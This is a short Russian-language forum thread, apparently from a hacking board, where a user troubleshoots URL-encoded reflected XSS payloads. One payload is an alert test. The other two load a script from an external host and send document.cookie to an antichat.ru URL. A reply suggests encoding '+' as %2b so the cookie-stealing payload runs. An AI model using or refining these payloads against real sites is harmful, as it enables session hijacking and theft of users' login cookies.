Что я делаю нет так...???
 

Я подаю запрос
%3C%2FSCRIPT%3E%3Cscript%3Ealert(%27lol27)%3C/script%3E
и он исполняетса, а когда я подаю запрос

%3C%2FSCRIPT%3E%3Cscript%20src=http://******.h16.ru/script/js.js%3E%3C/script%3E

или такой

%3C%2FSCRIPT%3E%3Cscript%3Eimg=new Image(); img.src=%27http://antichat.ru/cgi-bin/s.jpg%27+document.cookie;%3C%2Fscript%3E

нет.

Я может плохо зашыфровал..?

жи ши пиши с буквой и
ЗЫ вместо + %2b

Я как ты зашифровал то? ЛОл.